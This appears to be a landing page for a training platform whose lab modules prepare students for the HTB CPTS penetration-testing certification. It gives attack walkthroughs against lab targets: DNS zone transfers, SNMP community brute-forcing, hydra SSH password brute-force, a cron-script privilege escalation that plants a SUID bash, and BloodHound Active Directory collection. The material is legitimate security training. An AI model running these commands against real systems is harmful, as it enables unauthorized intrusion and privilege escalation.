CPTS Preparation

HTB Certified Penetration Testing Specialist

Seven modules covering the full HTB CPTS curriculum — infrastructure footprinting, common service attacks, web exploitation, database attacks, directory services, and a complete Active Directory engagement chain.

7 Modules

15 Machines

Free 3 Labs / Day

Start Free →

CPTS vs OSCP — What's Different

Both are hands-on hacking certs, but they test different depth and breadth.

Deeper Enumeration Focus

CPTS places heavier emphasis on systematic footprinting — every service gets its own enumeration methodology before exploitation is attempted. The HTB curriculum dedicates entire modules to protocols like LDAP, SNMP, SMTP, and MSSQL that OSCP treats as background knowledge.

Active Directory Depth

CPTS expects you to know BloodHound attack paths, ACL abuse (GenericWrite, WriteDACL, GenericAll), Kerberoasting, AS-REP roasting, and DCSync cold. The AD section of the exam is significantly more complex than the OSCP AD set.

bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c all
# Then: Find Shortest Paths to Domain Admins in BloodHound UI

No Buffer Overflow

CPTS does not include a standalone BOF machine. Instead it emphasises web application attacks, API security, and lateral movement depth. If you are studying for CPTS only, you can skip the BOF module on the OSCP path — but it's still excellent practice.

Report-Writing is Graded

CPTS is a professional certification exam that includes a report writing component. Practice documenting every finding as you work through these labs: service version, vulnerability, exploitation steps, and impact. Your report is part of your exam grade.

# Report sections per finding:
- Service & Version
- Vulnerability / Misconfiguration
- Proof (screenshot + flag)
- Remediation recommendation

The Seven Modules

Module 1 is free. Modules 2–7 can be unlocked one at a time with a 24-hour timer, or instantly with Premium.

Module 1 · 🔎

Reconnaissance & Footprinting

CPTS emphasises a structured enumeration methodology before any exploitation attempt. These labs cover infrastructure-level recon: DNS zone mapping and SNMP device enumeration — two techniques that produce actionable data on every enterprise engagement.

HTB CPTS — Footprinting module

DNS zone transfer and subdomain brute-forcing (dig, dnsenum, fierce)
SNMP community string discovery and OID tree walking (onesixtyone, snmpwalk)
nmap service/version fingerprinting with default script sets
Building an accurate attack-surface inventory before touching exploits

Axferia Walkabout

Attack Pattern DNS — Zone Transfer + Cron PrivEsc

CPTS angle: CPTS expects you to document every record returned by the zone transfer and map it to potential attack vectors before touching an exploit.

1 — Full port scan

nmap -sC -sV -p- -T4 TARGET
nmap -sU --top-ports 50 TARGET

2 — DNS Zone Transfer

dig SOA @TARGET lab.local
dig AXFR lab.local @TARGET
dnsenum --dnsserver TARGET --enum lab.local

3 — Credential brute-force / reuse

hydra -l labuser -P /usr/share/wordlists/rockyou.txt ssh://TARGET -t 4

4 — Privilege Escalation via writable cron script

cat /etc/crontab && ls /etc/cron*
find / -writable -name "*.sh" 2>/dev/null
echo 'chmod +s /bin/bash' >> /opt/backup.sh
# wait for cron to run, then:
/bin/bash -p

Attack Pattern SNMP — Community Brute-Force + SUID PrivEsc

CPTS angle: SNMP often exposes running processes, open ports, and usernames that DNS and nmap miss. Always scan UDP 161 early.

1 — SNMP Community Discovery

nmap -sU -p 161 --script snmp-brute TARGET
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt TARGET

2 — OID Enumeration

# Running processes
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.25.4.2.1.2
# Listening ports
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.2.1.6.13.1.3
# User accounts
snmpwalk -v2c -c COMMUNITY TARGET 1.3.6.1.4.1.77.1.2.25

3 — SUID Escalation

find / -perm -4000 -type f 2>/dev/null
# Cross-reference with https://gtfobins.github.io/

Module 2 · 📡

Attacking Common Services — Network Protocols Locked

The HTB CPTS Attacking Common Services module covers every legacy protocol you will encounter in enterprise environments. Telnet, TFTP, and SMTP represent three distinct attack surfaces: credential brute-force, anonymous file retrieval, and user enumeration.